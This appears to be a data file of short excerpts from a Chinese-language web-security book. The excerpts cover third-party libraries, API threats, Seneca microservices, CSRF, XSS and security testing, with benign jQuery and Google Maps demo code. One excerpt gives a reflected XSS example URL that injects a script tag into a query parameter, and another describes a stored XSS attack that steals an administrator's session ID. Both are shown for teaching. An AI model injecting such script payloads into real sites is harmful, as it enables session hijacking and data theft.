    {"text": "<!DOCTYPE html> <html> <head> <title>MooTools Accordion Demo</title> <script src=\"MooTools-More-1.5.1.js\"></script> <style> .toggler { color: #222; margin: 0; padding: 2px 5px; background: #eee; border-bottom: 1px solid #ddd; border-right: 1px solid #ddd; border-top: 1px solid #f5f5f5; border-left: 1px solid #f5f5f5; } </style> <script type=\"text/javascript\"> window.addEvent('domready', function() { var accordion = new Fx.Accordion('h3.atStart', 'div.atStart', { opacity: false, onActive: function(toggler, element) { toggler.setStyle('color', '#ff3300'); }, onBackground: function(toggler, element) { toggler.setStyle('color', '#222'); } }, $('accordion')); }); </script> <body> <h2>MooTools Accordion Demo</h2> <div id=\"accordion\"> <h3 class=\"toggler atStart\">Section 1</h3> <div class=\"element atStart\"> <p>Section 1 Content</p> </div> <h3 class=\"toggler atStart\">Section 2</h3> <div class=\"element atStart\"> <p>Section 2 Content</p> </div> <h3 class=\"toggler atStart\">Section 3</h3> <div class=\"element atStart\"> <p>Section 3 Content</p> </div> </div> </body> </html> 你可以从网页 http://mootools.net/more/builder 上获得文件 MooTools-More-1.5.1.js。"},
    {"text": "选择能真正优化实现特定需求所需的服务的微服务，这可以提升应用程序的可靠性，因为这会降低出现重大错误的风险。 依靠一致的接口来进行微服务调用会减少潜在的代码错误，增强应用程序的可靠性。 拥有多个提供相同服务的微服务源会减少单个故障点的数量，提高应用程序的可靠性。 使用小型的服务意味着单个服务的丢失不会让所有服务都不可用，但使用 API 就会，所以这种情况下其可靠性较高。"},
    {"text": "） 获取最佳的库运行速度 你可能发现某些网站告诉你完全不要使用库，因为它们会导致速度等方面的问题（例如，参阅 http://www.giftofspeed.com/dont-use-javascript-libraries/ ）。"},
    {"text": "<!DOCTYPE html> <html> <head> <script src=\"https://code.jquery.com/jquery-latest.js\"> </script> <script src=\"https://code.jquery.com/ui/1.9.2/jquery-ui.js\"> </script> <script src=\"jquery.transform.js\"> </script> <link rel=\"stylesheet\" href=\"https://code.jquery.com/ui/1.9.2/themes/base/jquery-ui.css\" /> <title>jquery.transform.js Demonstration</title> <style type=\"text/css\"> #TransformMe { border: double; border-color: Blue; border-width: thick; position: absolute; width: 120px; height: 40px; top: 90px; left: 75px; } #TransformMe p { margin: 0; padding: 0; height: 40px; font-family: \"Comic Sans MS\", cursive, sans-serif; font-size: large; color: Red; background-color: Yellow; } #Rotate { position: absolute; top: 190px; left: 75px; } </style> <script type=\"text/javascript\"> $(function() { $(\"#Rotate\").click(function() { $(\"#TransformMe\").css(\"transform\", \"rotate(45deg)\"); }); }) </script> </head> <body> <h1>jquery.transform.js Demonstration</h1> <div id=\"TransformMe\"> <p>Some Text</p> </div> <div> <input type=\"button\" id=\"Rotate\" value=\" Rotate 45 Degrees \" /> </div> </body> </html> 这个例子中的功能依赖脚本 jquery.transform.js。"},
    {"text": "<!DOCTYPE html> <html> <head> <title>Viewing JSON Files</title> <script src=\"https://code.jquery.com/jquery-latest.js\"> </script> <script language=\"JavaScript\"> function ViewData() { // 从硬盘上获取数据 $.getJSON(\"Test.json\", function(data) { // 创建一个数组来保存数据 var items = []; // 遍历每个用户对象来解析数据 $.each(data.Users, function(key, value) { items.push(\"<li>\" + value.Name + \"<br />\" + value.Number + \"<br />\" + (new Date( parseInt(value.Birthday.substr(6))) ).toDateString() + \"</li>\"); }); // 将结果放在一个无序列表中 $('<ul/>', {html: items.join(\"\")}). appendTo('body'); }); } </script> </head> <body> <h1>Viewing JSON Files</h1> <input id=\"btnView\" type=\"button\" value=\"View JSON Data\" onclick=\"ViewData()\" /> </body> </html> 在这个例子中，库打开文件 Test.json，并从中读取数据。"},
    {"text": "<!DOCTYPE html> <html> <head> <title>Creating a Simple Dialog Box</title> <script src=\"https://code.jquery.com/jquery-latest.js\"> </script> <script src=\"https://code.jquery.com/ui/1.9.2/jquery-ui.js\"> </script> <link rel=\"stylesheet\" href=\"https://code.jquery.com/ui/1.9.2/themes/base/jquery-ui.css\" /> <style type=\"text/css\"> .Normal { font-family: Arial, Helvetica, sans-serif; color: SaddleBrown; background-color: Bisque; } .Emphasize { color: Maroon; font-style: italic; font-size: larger; } </style> </head> <body> <h1>Creating a Simple Dialog Box</h1> <div id=\"DialogContent\" title=\"Simple Dialog Example\" hidden> <p class=\"Normal\"> This is some <span class=\"Emphasize\">interesting</span> text for the dialog box! </p> </div> <script type=\"text/javascript\"> $(\"#DialogContent\").dialog(); </script> </body> </html> 在这个例子中，当你打开应用程序时会立刻展示一个弹框，如图 6-3 所示。"},
    {"text": "但是，因为你正在将别人创建的代码包含进自己创建的应用程序中，所以就有可能出现平时运行良好的代码由于双方的假设而最终出现了安全缺陷。"},
    {"text": "你可以说自己编写了满足安全性最佳实践的代码，并且安全专家也已经检查过代码，但就算有最好的意识和可靠的工具，你也不可能保证一个库（或任何其他代码）是安全的。"},
    {"text": "文章“ScriptGard: Automatic Context-Sensitive Sanitization for Large-Scale Legacy Web Applications”（ http://www.comp.nus.edu.sg/~prateeks/papers/scriptgard-ccs11.pdf ）描述了保持数据的完整性有多难，即使你使用了正确的净化器。"},
    {"text": "一旦准备展示数据，请使用 Node.textContent() 、 document.createTextNode() 或 Element.setAttribute() （只需要第二个参数）这些调用以确保页面可以正确地展示它。"},
    {"text": "为了检查安全性问题，你必须开始专门为此测试你的代码。 如果代码要求比测试所能提供的更高等级的安全保证，那你还必须聘请安全专家来人工检查代码是否有潜在的问题。"},
    {"text": "<!DOCTYPE html> <html> <head> <title>Working with Strict Mode</title> <script language=\"javascript\"> function testStrict(Name) { \"use strict\"; try { this.Name = Name; alert(this.Name); } catch (e) { alert(e); } } </script> </head> <body> <h1>Working with Strict Mode</h1> <button id=\"Test\" onclick=\"testStrict('George')\"> Test </button> </body> </html> 如果没有严格模式检查（你可以简单地把相关语句注释掉试试），这段代码会展示错误赋给 this.Name 的值 George。"},
    {"text": "对于支持 CSP 的浏览器来说（可在网页 http://caniuse.com/contentsecuritypolicy 上找到列出可兼容浏览器的表格），CSP 提供了让浏览器免于识别来自不受支持的网站的脚本及内容的方法。"},
    {"text": "6.4 安全地包含库 有些公司简单地将一个库加到它们的工具箱里，因为其提供了所需的功能，而没有仔细考虑应如何将库与其他代码集成在一起，甚至没有考虑使用它是否是一个好的做法。"},
    {"text": "至少在某些情况下，那些没有仔细考虑库的使用的公司最终都会后悔，因为这些库包含了大量的安全漏洞，运行得不可靠或很慢，或者与从一开始就自己开发库相比，其要耗费公司更多的时间。"},
    {"text": "例如，当使用 jQuery UI 时，你可以使用特定的构建器创建一个定制化版本，如图 6-5 所示。 图 6-5：使用 jQuery UI 构建器可帮助你创建一个定制化版本的库 使用构建器意味着你创建的库只包含你确实需要的元素。"},
    {"text": "6.4.4 执行必需的测试 在将任何库放到生产环境中之前，你必须构建一个测试套件，以确定这个库是否能如你期望的那样工作。 你可以使用一个供应商指定的测试套件，但使用自己设计的、能模拟你的应用程序如何使用这个库的测试套件也是很重要的。"},
    {"text": "测试过程应该包含对合法和不合法的输入数据的检查。 重要的是要确保对于合法的输入你能得到预期的输出，而对于不合法的输入你能得到某些异常。"},
    {"text": "因为框架更充分地集成到一个应用程序中并且提供了更多的资源，所以比起使用库，你还必须将其放在一个更高的标准上（虽然你应该将两者都放在高标准上）。"},
    {"text": "这个网站为你提供对框架 7 个级别的检查，如图 6-6 所示。 图 6-6：mustache-security 等网站提供了对框架 7 个级别的检查 看看这个页面的下面部分，你会发现与框架安全相关的新闻并不好。"},
    {"text": "图 6-7：大部分框架和模板库在安全方面还有很长的路要走 这类网站的有趣之处在于它们通常提供了这些框架如何失败的例子。 例如，点击图 6-7 中表格中的 AngularJS 链接，你会看到该框架在安全领域失败的细节，如图 6-8 所示。"},
    {"text": "图 6-8：某些安全网址提供了示例代码来展示框架中的安全问题 第 7 章 慎用 API API 提供了一种使用别人服务器上成熟的应用程序来满足自己特定需求的方法。"},
    {"text": "请将本章中的例子视为一个讨论点，而不是一种实际的编程技术。 虽然本章在编码示例和 API 出错的例子中探讨了某些 API，但其意图并不是要针对这些具体的 API。"},
    {"text": "事实上，你可以期待 API 使用范围的扩大，因为开发人员一直有时间紧张（time-crunch）的问题，而 API 可以解决这一问题。 随着更多的人使用基于 Web 的应用程序，且这些应用程序变得更加复杂，你可以期待 API 的使用会扩大以满足具体的需求。"},
    {"text": "所以，尽管库的源代码存在于第三方服务器上，库通常也是一个进程内编码技术。 为了使用库，要将第三方服务器上的代码下载到你的服务器上并成为应用程序的一部分，与应用程序在同一个进程中运行。"},
    {"text": "但是，代码在别人的服务器上运行也意味着你在某些节点上会失去对数据的控制，并且你永远看不到真正的 API 代码，这样也就不能对其表现的安全威胁进行评估。"},
    {"text": "例如，可使用 JavaScript 应用程序与手机设备的振动功能交互以制造出特别的效果（可在网页 https://developer.mozilla.org/en-US/docs/Web/Guide/API/Vibration 上查看这一技术）。"},
    {"text": "{API}Search（ http://apis.io/ ） 40 个对 Web 设计师和开发者有用的 API（ http://www.webdesignerdepot.com/2011/07/40-useful-apis-for-web-designers-and-developers/ ） API Directory（ http://www.programmableweb.com/apis/directory ） API For That（ http://www.apiforthat.com/ ） APIs Dashboard（ http://www.programmableweb.com/apis ） API Data.gov（ https://www.data.gov/developers/apis ，点击“browse the current catalog for APIs”链接） Guide to Web API（ https://developer.mozilla.org/en-US/docs/Web/Guide/API ） MashApe（ https://www.mashape.com/ ） Public API（ https://www.publicapis.com/ ） Web API Interfaces（ https://developer.mozilla.org/en-US/docs/Web/API ） 上面只是在线 API 搜索网站的几个代表。"},
    {"text": "<script src=\"https://code.jquery.com/jquery-latest.js\"> </script> <script src=\"https://code.jquery.com/ui/1.9.2/jquery-ui.js\"> </script> <link rel=\"stylesheet\" href=\"https://code.jquery.com/ui/1.9.2/themes/base/jquery-ui.css\" /> 虽然这段代码引用了一个外部库，但库的代码是作为应用程序的一部分，以进程内元素的形式被包含进来的。"},
    {"text": "<script type=\"text/javascript\" src=\"https://maps.googleapis.com/maps/api/js?key=Your Key Here&sensor=false\"> </script> 这个例子完全不能生效，除非你将“Your Key Here”替换成你从 Google 获取到的密钥。"},
    {"text": "这里界面并没有太多复杂的东西，但确实是可以工作的（这个例子预设好会在地图的中心展示威斯康星州密尔沃基的位置，你可以将其更换成你想要的其他地点的经度和纬度）。"},
    {"text": "<div id=\"Input\"> <label for=\"longitude\"> Longitude: </label> <input id=\"longitude\" value=\"-87.95\" type=\"text\" /> <label for=\"latitude\"> Latitude: </label> <input id=\"latitude\" value=\"43.04\" type=\"text\" /> <input id=\"submit\" value=\"Get Map\" type=\"button\" /> </div> 这个例子的代码使用了许多 jQuery 和 jQuery UI 的功能，你已经在其他的应用中见到过。"},
    {"text": "一次移动一个完整的度数对应用程序不会有太大用处，所以这两个下拉框每次只改变十分之一的度数（即使这样，这个度数可能还是太大了，而你可能想要改变它）。"},
    {"text": "$(function() { // 使用一个选值框来控制纬度 var Latitude = $(\"#latitude\").spinner( { min: -90, max: 90, step: .1, change: function(event, ui) { if (Latitude.spinner(\"value\") < -90) Latitude.spinner(\"value\", -90); if (Latitude.spinner(\"value\") > 90) Latitude.spinner(\"value\", 90); } }); // 使用一个选值框来控制经度 var Longitude = $(\"#longitude\").spinner( { min: -180, max: 180, step: .1, change: function(event, ui) { if (Longitude.spinner(\"value\") < -180) Longitude.spinner(\"value\", -180); if (Longitude.spinner(\"value\") > 180) Longitude.spinner(\"value\", 180); } }); // 这个函数会在屏幕上展示地图 function GetMap() { // 构建发送给Google的参数列表 var MapOptions = { center: new google.maps.LatLng( Latitude.spinner(\"value\"), Longitude.spinner(\"value\")), zoom: 8, mapTypeId: google.maps.MapTypeId.ROADMAP } // 向Google提供地图要在屏幕上展示的位置以及地图的参数项 var map = new google.maps.Map( document.getElementById(\"MapCanvas\"), MapOptions); }; // 这个例子提供了两个获取地图的方法：在页面加载期间获取，或通过点击Get Map按钮获取 $(window).load( function() { GetMap(); }); $(\"#submit\").click( function() { GetMap(); }); }) 纬度的范围从北纬 90 度到南纬 90 度，所以这个例子反映了这一需求。"},
    {"text": "网页 http://blog.smartbear.com/software-quality/bid/242126/using-the-google-maps-api-to-addcool-stuff-to-your-applications 上的文章就如何在基于浏览器的应用程序中使用 Google Maps API 提供了一些额外的点子。"},
    {"text": "图 7-1：这个例子能展示任何经度和纬度的位置 7.3 定义API带来的安全威胁 作为一名开发人员，知道你可能面对什么类型的 API 威胁是很重要的。"},
    {"text": "其缺陷允许攻击者通过远程上传将任何 PHP 文件放置到系统中（ http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html ），这意味着你的博客现在可能会用其过去经常提供的信息发起钓鱼攻击（ http://wptavern.com/wordpress-mailpoet-plugin-security-vulnerability-immediate-update-recommended ）。"},
    {"text": "这个缺陷的问题在于，发现问题的实体（Sucuri）在揭露这一问题之前没有给 MailPoet 足够的时间去修复并分发修复补丁（ http://www.mailpoet.com/sucuri-hack-lessons-learned/ ），所以存在很多互相推卸责任的情况。"},
    {"text": "某些白帽黑客过度考虑自己的声誉，他们会报告重要的问题，却在发布信息前不给 API 提供商足够的时间去修复问题，从而导致其他黑客很喜欢的零日攻击。 类似地，某些 API 提供商迟迟不着手修复能导致安全问题的 bug，这意味着黑帽黑客可以在 bug 被修复之前发现它们（再一次导致零日攻击）。"},
    {"text": "当每个人都遵守规则时它确实是有效的，但不是每一个人都能遵守［如 Snapchat 的安全课堂（ http://blog.smartbear.com/apis/readyapi/security-lessons-courtesy-of-snapchat/ ）所解释的那样］。"},
    {"text": "Snapchat 最近作出了回应（ http://www.computerworld.com/article/2846038/snapchat-to-ask-users-to-stop-using-unauthorized-apps.html ），它警告用户不要下载那些允许其破坏内在规则的第三方程序，而不是真的解决这一问题。"},
    {"text": "这个威胁揭示了在你开始用 API 开发之前需要检查一下提供商的声誉。 此外，它还表明你需要在使用 API 之前先研究一下它，因为很多黑客在行业杂志报道之前已经知道了这一缺陷。"},
    {"text": "幸运的是，这个故事有一个开心的结局：黑客已经被逮捕了（ http://www.computerworld.com/article/2490607/cybercrime-hacking/the-hackers-behind-those-iphone-ransom-attacks-have-been-arrested-in-russia.html ）。"},
    {"text": "在这个例子里，在 1.0.1 到 1.0.1f 版本的 OpenSSL（ https://www.openssl.org/ ）中，使用一个称为 heartbeat 的特性，会允许攻击者获取用户密码和用于加密通信的长期私钥。"},
    {"text": "根据 InfoWorld（ http://www.infoworld.com/article/2608736/data-security/heartbleed-to-blame-for-community-health-systems-breach.html ）的报道，Heartbleed 应该为泄露 15 000 000 个病人记录的社区健康系统（ http://www.chs.net/media-notice/ ）事故负责。"},
    {"text": "这一事故造成的经济损失高达 1.5 亿美元（ http://venturebeat.com/2014/08/25/community-health-systems-breach-could-cost-up-to-150-million/ ）。"},
    {"text": "根据 ComputerWorld（ http://cwonline.computerworld.com/t/8953013/1084055737/677451/17/ ）的报道，直到 2014 年 6 月 24 日，仍然有 300 000 台服务器受到 Heartbleed 的影响（离 4 月份发现这一缺陷有很长的时间来打补丁）。"},
    {"text": "7.3.5 遭受Shellshock攻击 某些专家宣传 Shellshock 比 Heartbleed 更糟糕（ http://www.eweek.com/news/why-shellshock-bug-is-way-nastier-than-heartbleed.html ）。"},
    {"text": "这一黑客行为的最大限制因素在于其不是自动可被利用的（ http://www.infoworld.com/article/2687975/security/four-no-bull-facts-to-know-about-the-shellshock-bash-bug.html ），必需有访问服务器的外部接口。"},
    {"text": "有些报告说，如 Yahoo!（ http://www.bloomberg.com/asia ）和 WinZIP（ http://arstechnica.com/security/2014/10/white-hat-claims-yahoo-and-winzip-hacked-by-shellshock-exploiters/ ）这样的大公司已经通过 Shellshock 被黑了。"},
    {"text": "此外，一个可用的补丁要花很长时间才能开发出来（ http://www.infoworld.com/article/2687750/security/attacks-against-shellshock-continue-as-updated-patches-hit-the-web.html ），虽然现在已经有了一个（ http://www.eweek.com/security/shellshock-vulnerability-finally-patched-as-exploits-emerge.html ）。"},
    {"text": "在与经验丰富的提供商的对比中，一个事实部分抵消了新提供商的劣势，那就是黑客会瞄准市场份额较大的提供商，以增大获得真正有用东西的机会来作为他们付出努力的回报。"},
    {"text": "7.4.2 测试输入和输出 一个简单的验证 API 可用性和安全性的方法就是简单地测试已知的输入输出。 检查已知的输入和输出以确保 API 正常地工作。"},
    {"text": "从安全的角度来说，微服务会比库更安全，因为它们不是以进程内的方式执行，并且你可以通过使用 JSON 的最佳实践方法来避免大部分错误数据输入形式。"},
    {"text": "8.1.4 考虑微服务的策略 现在你知道微服务为开发人员、IT 以及整个公司都提供了很多好处。 使用微服务是有意义的，因为它可以创建在任何地点任何设备上都能运行的应用程序，而不会给开发人员制造太多麻烦。"},
    {"text": "因为微服务很小，可方便地服务于各种目的，并且不会在意所需的数据来自哪里，所以它们打破了公司团队之间的围墙，破坏了过去被支配的各种封地。"},
    {"text": "所有公司在面对新技术时都会有一种“我们之前从来没有这样做过”的态度，惯性在人们的每次努力中都扮演着一定的角色，所以在开始你的第一个项目时，必须找到克服惯性的方法。"},
    {"text": "如果你的公司成为了黑客的目标（或者有时候是通过偶然的机会发现的），那么从安全的角度来看，在项目早期阶段包含的漏洞会留给黑客彻底了解它并几乎肯定能加以利用的机会。"},
    {"text": "为此，将某个微服务策略添加到你的编程工具箱中时，遵循一个流程是有帮助的（你不必精确地遵循下面列出的步骤，但它们会帮你克服在使用微服务时遇到的各种阻力）。"},
    {"text": "你可以在网页 http://blog.teamtreehouse.com/install-node-js-npm-mac 上找到 Mac 的安装说明，在网页 http://blog.teamtreehouse.com/install-node-js-npm-windows 上找到 Windows 的安装说明，以及在网页 http://blog.teamtreehouse.com/install-node-js-npm-linux 上找到 Linux 的安装说明。"},
    {"text": "很有趣的是，在安装的过程中提示符只会显示一个忙的提示，你不会看到任何说明某些事情正在发生的输出，直到最终看到 Seneca 的目录结构时。"},
    {"text": "（如果你完全不能让标准 NPM 安装生效，那么通常可以直接从网页 https://github.com/rjrodger/seneca 上获取源码并以源码方式安装，但是手动安装肯定要困难得多。"},
    {"text": "） 8.2.1 理解通信中REST的角色 微服务依赖 REST 这样的通信架构类型，因为它比其他协议［如简单对象访问协议（Simple Object Access Protocol，SOAP）］等更轻量。"},
    {"text": "使用 SOAP 在某些条件下有优点，但在互联网场景中存在一些问题，比如占用大量带宽，以及在客户端和服务器之间需要一个更加正规的通信水平。"},
    {"text": "require('seneca')() .add( { say:\"hello\"}, function( message, done ) { done( null, {message:'hello'} ) }) .listen() 在这个例子中， require('seneca') 将 Seneca 库加载到内存中。"},
    {"text": "微服务会输出一个简单的 JSON 对象，如图 8-2 所示。 图 8-2：这个简单的例子会输出一个 JSON 对象 当你回去看控制台窗口时，不会看到任何东西。 那是因为这个函数输出了一个简单的 JSON 对象而没有做任何环境外的调用。"},
    {"text": "库以及 API 的开发人员一开始会想创建易于使用且一致的接口，但随着时间的推移，库或 API 就变成了一堆冲突策略的混杂物，这让难题变得相对容易解决。"},
    {"text": "这些不一致性会导致安全问题，因为使用这些代码的开发人员以为这些调用会以某种方式工作但实际却不是。 其结果就是在代码和使用它们的应用程序之间会有不匹配的情况出现。"},
    {"text": "为了最大化安全性，你要避免像这里的 service2.js 例子中那样堆叠微服务（要访问这个例子，你必须使用 999 端口，比如 http://localhost:999/act?say=goodbye ）。"},
    {"text": "require('seneca')() .add( { say:\"hello\"}, function( message, done ) { done( null, {message:'hello'} ) }) .add( { say:\"goodbye\"}, function( message, done ) { done( null, {message:'goodbye'} ) }) .listen(999) 最佳实践是让每个服务在隔离的虚拟机上运行，以确保每个服务有自己的地址空间和进程。"},
    {"text": "考虑 eval() 的危险 某些人有可能会发送一个响应给客户端，这个响应里面包含一个 <script> 标签并有一段可执行任何操作的脚本（在某些情况下，你甚至不需要标签，而只需要传递脚本）。"},
    {"text": "图 8-4：像 API 一样，脚本问题也会给微服务带来麻烦 防御跨站请求伪造 一个跨站请求伪造（cross-site request forgery，CSRF 或 XSRF）是攻击者尝试让用户在不经意间或不知情的情况下执行代码的攻击。"},
    {"text": "使用多步骤的工作流，这样攻击者需要与用户有更多交互才能使攻击奏效，这在某些时候也能阻止这类攻击，但用户会对必须执行更多步骤才能完成给定任务不满。"},
    {"text": "解决这一问题的基石在于传输层安全（Transport Layer Security，TLS）。 关键是要确保客户端与服务器之间的传输层在消息发送过程中是安全的。 这意味着要用 HTTPS 和 REST 等技术来确保通信尽可能安全。"},
    {"text": "在公开网络使用 HTTPS 的一个问题是你必须从认证机构（Certificate Authority，CA）获取一个证书，这是一项很昂贵的支出，可能会使某些公司放弃使用 HTTPS。"},
    {"text": "这也是这一节所要谈及的，即考虑用多个途径访问多个微服务的意义。 当考虑多个微服务以及它们所采用的途径时，也要考虑一下端口这样的事情。 你可以创建在不同端口上运行的微服务。 通常，你会使用在端口 999 上的微服务来执行某个应用程序所要求的任务。 但是，如果端口 999 上的微服务变得过载、被损坏或者不能工作了，你可以切换到不同端口上的相同微服务。"},
    {"text": "这里的例子会使用 Securi（ https://sitecheck.sucuri.net/ ），这是一个能检查很多安全问题的免费扫描器，主要检查潜在的病毒感染风险。"},
    {"text": "图 9-1 所示的主页会让你输入网站的 URL 并点击“Scan Website!”来开始扫描过程。 图 9-1：要开始扫描，需要输入你的网站 URL 并点击按钮 如果你有一个网站，请一定要查看提供主机服务的供应商。"},
    {"text": "很有趣的是，黑客可以利用类似这样的扫描器来寻找你的网站中他们可能感兴趣的地方，比如所用软件的版本。 Web 安全扫描器会帮你理解黑客所能掌握的各种信息。"},
    {"text": "你可以在网上找到 Web 安全扫描器的清单。 其中比较好的一份清单是 Web 安全应用协会（Web Application Security Consortium）的应用安全扫描器列表（ http://projects.webappsec.org/w/page/13246988/Web ）。"},
    {"text": "另一份好的工具清单位于开放 Web 应用安全项目（Open Web Application Security Project，OWASP）的网站（ https://www.owasp.org/index.php/Phoenix/Tools ）上，你可以在该网站上找到各种工具。"},
    {"text": "你可以通过使用 OWASP Security Shepherd（ https://www.owasp.org/index.php/OWASP_Security_Shepherd ）这个项目来开始训练过程，这个项目会给出应用程序的十大安全风险。"},
    {"text": "OWASP 专门设计了一个叫 WebGoat（ https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project ）的应用程序来提供一些漏洞，应用开发人员可用它来发现在现实的应用程序场景中入侵是如何发生的。 网页 http://webappsecmovies.sourceforge.net/webgoat/ 上的影片会带你一步步了解黑客做事的过程，这样你能更好地理解黑客正在对你的应用程序做什么。"},
    {"text": "通用原则（General principles） 代码质量（Code quality） 并发（Concurrency） 未验证的参数（Unvalidated parameters） 访问控制缺陷（Access control flaws） 认证缺陷（Authentication flaws） 会话管理缺陷（Session management flaws） 跨站脚本攻击（Cross-site scripting，XSS） 缓存溢出（Buffer overflows） 注入缺陷（Injection flaws） 不安全的存储（Insecure storage） 拒绝服务（Denial of service，DOS） 配置（Configuration） Web 服务（Web services） AJAX 安全性（AJAX security） 最后一步是要接受一个 WebGoat 的挑战来展示你新学到的技能。"},
    {"text": "网页 http://blogs.atlassian.com/2012/01/13-steps-to-learn-perfect-security-testing-in-yourorg/ 上的文章会教你 13 个步骤，你可以遵循这些步骤来改进自己的测试方法。"},
    {"text": "测试环境应该尽可能反映生产环境，但你也需要保持它们的物理隔离，否则就得承担后果。 为了将生产环境和测试环境隔离，你应该考虑为测试环境使用不同的颜色标示。 你不应该把生产环境连接到测试环境中，反之亦然。 此外，很关键的是要标记测试环境，这样就没有人会在生产环境中使用它们。"},
    {"text": "检测主机系统里的恶意软件 评估系统是否易于遭受攻击 在遭受一次攻击后执行诊断分析 使用 Foundstone 的软件应用安全服务（Software Application Security Services，SASS）工具让应用程序更安全 确定入侵发生的时间 扫描系统的各种弱点 对系统进行压力测试 9.2.6 配置系统 从一个干净的配置开始搭建系统对于遭受攻击后的系统进行诊断测试是很重要的。"},
    {"text": "有些公司用 KVM（键盘、视频和鼠标）交换机提供可访问测试系统的工作站。 采用一个 KVM 配置和一个传输器就可以从远程轻松切换多个测试系统。"},
    {"text": "当然，最好是有一套有条理的方法来定位安全漏洞，而 OWASP 提供的清单（ https://www.owasp.org/index.php/Web_Application_Security_Testing_Cheat_Sheet ）无疑是一个正确的开始。"},
    {"text": "用来对潜在的攻击途径进行打分的最好系统之一是通用安全漏洞评分系统（Common Vulnerability Scoring System，CVSS， http://www.first.org/cvss/v2/faq ）。"},
    {"text": "一篇最近的关于波兰航空公司（LOT Polish airlines）的新闻（ http://www.computerworld.com/article/2938486/security/cyberattack-grounds-planes-in-poland.html ）可用来说明误导的后果。"},
    {"text": "9.3.2 理解跨站脚本攻击 XSS 在攻击方式上与 SQL 注入有很多相似之处，但实际上这两种技术是不同的。 XSS 有两种类型：非持久的（攻击依赖用户访问某个专门制作的链接）和持久的（攻击代码保存在间接的存储媒介中，比如数据库）。"},
    {"text": "但是，如果你将一段脚本加入到其中，比如 http://www.mysite.com/index.php?name=guest<script>alert('XSS')</script>，用户会看到一个对话框弹出来，带有信息 XSS。"},
    {"text": "假如攻击者将经过特别定制的脚本发送给服务器作为登录过程的一部分，那么它会被保存到数据库中，用的名称是管理员几乎肯定会去查看的名称。 当管理员点击用户名时，这个脚本会执行并会将管理员的会话 ID 发送给攻击者。"},
    {"text": "购买专门设计用来对抗 DOS 攻击的设备 依靠网络服务提供商（ISP）来检测并消除 DOS 攻击 获取云缓存提供商的服务 9.3.4 去除可预测的资源定位 通过了解特定资源的位置，然后使用这些资源来获取访问系统的足够信息，是有可能对系统发起攻击的。"},
    {"text": "给操作系统、服务、应用环境、库、API 和微服务打上必需的补丁 配置边界路由器和防火墙来阻止从敏感来源发起的信息请求 限制对所有敏感信息源的访问 永远不要硬编码密码并把它们放在别人能轻易找到的地方 对任何敏感信息源使用双因素认证 执行审核来查找潜在的漏洞（即使你感到系统完全安全） 使用评估工具来确定是否存在从指定位置外的任何位置访问敏感信息源的可能 9.4 在BYOD环境中进行测试 BYOD 现象在持续增强。"},
    {"text": "此外，到 2020 年，75% 的用户会用不到 100 美元来购买一部智能手机（请参阅 http://www.gartner.com/newsroom/id/2939217 ），所以获取一部足够智能的、能完成大部分任务的设备不会很昂贵。"},
    {"text": "9.4.2 检查跨应用程序的攻击 跨应用程序攻击是指一个应用程序获取另一个应用程序使用的数据或资源。 在许多情况下，攻击发生于两个应用程序访问相同的数据源时（跨应用的资源访问或 XARA）。 最近的一次这种攻击是针对 OS X 和 iOS 操作系统的（请参阅网页 http://oversitesentry.com/xara-an-old-way-to-hack-cross-application-resourceaccess/ ，获取相关资料）。"},
    {"text": "遗憾的是，如果禁止从操作系统或浏览器供应商中获取补丁，你就不能真正对这种攻击做太多事情，只能保持警惕，检查数据存储可能遭到的破坏。"},
    {"text": "例如，在发现（在本书编写时）95% 的 ATM 机还在使用 Windows XP 操作系统时（ http://info.rippleshot.com/blog/windows-xp-stillrunning-95-percent-atms-world ），某些人可能会感到麻烦。"},
    {"text": "根据 NetMarketShare（ http://www.netmarketshare.com/operating-system-market-share.aspx?qprid=10&qpcu-stomd=0 ）的数据，Windows XP 仍然有高达 14.6% 的系统占有量。"},
    {"text": "重要的是要认识到当你创建一个应用程序时，应该主要关注的可能不是得到更新的闪亮的新智能手机、完全打了补丁的操作系统以及最新的浏览器技术。"},
    {"text": "一些第三方测试商，比如 Applause（ http://www.applause.com/web-app-testing ），专门提供“广泛的”测试，你的应用程序真的会在互联网上被未知的用户使用，就像其在生产环境中一样。"},
    {"text": "键盘记录以及其他的技术也有助于记录用户操作应用程序的踪迹，而不需要站在用户的上方观察他们（这势必会改变用户的行为且你的测试会失败）。"},
    {"text": "例如，在 The Daily Egg 上的页面速度工具清单就比较好，这份清单包含有 GTMetrix（ https://gtmetrix.com/ ），它可帮你定位页面中真正慢的那部分代码。"},
    {"text": "作为这一级别的测试的一部分，你需要检查导航、可访问性、多个浏览器下的可访问性、错误消息和警告、你提供的帮助和任何其他文档，以及布局。"},
    {"text": "定位内部审核时遗漏的缺陷 给客户和第三方提供一份对应用程序安全性的独立评审 在公司没有任何安全专家的时候要确保安全测试是完整的 验证事件管理程序的有效性 培训事故处理团队 降低整个公司的安全成本 在没有保密协议（nondisclosure agreement，NDA）等法律文书的情况下允许别人对你的应用程序、网站或公司进行渗透测试是一个不好的做法。"},
    {"text": "在某些情况下，第三方并不会提供完整的缺陷文档，但在其他情况下，渗透测试人员实际上可能会估量你的公司以确定发起一次真的入侵是否是一个好主意。"},
    {"text": "在渗透测试阶段发生的敏感数据泄露、滥用或丢失 遗漏的缺陷或弱点 目标应用程序或网站的可用性受到的影响 测试没有及时进行 报告过于技术性并难以理解 项目管理看起来杂乱无章、匆忙，或考虑不周 当谈到渗透测试时，你付出多少就会得到多少。"},
    {"text": "GIAC 事故处理认证（GIAC Certified Incident Handler，GCIH） 道德黑客资格认证（Certified Ethical Hacker，CEH） OSSTMM 专业安全测试人员（OSSTMM Professional Security Tester，OPST） 9.6.4 获取报告 任何渗透测试的结果都要体现为一份报告。"},
    {"text": "报告必须包含足够的技术信息，使你确实可以修复在测试中发现的问题，但仍然要能被管理人员看懂，这样你才能获取所需的时间和资源来执行修复。"},
    {"text": "除了报告，你还应该接收在测试阶段执行的每个动作的日志文件。 日志文件应该展示在测试过程中每个包的发送和接收，这样你可以在后面一步一步地重现测试过程。"},
    {"text": "本章会帮你理解 API 沙盒 / 虚拟环境的概念，并明确你在下一个编程项目中该如何使用它们来保证安全。 作为使用 API 沙盒的一部分，本章还会探讨一些沙盒和虚拟环境的解决方案。"},
    {"text": "尽管虚拟环境看起来与沙盒是本质上相同的东西，因为它们达到的目标是大致相同的，但它们确实是不一样的技术，因此最后一节会帮你详细了解二者的不同点。"},
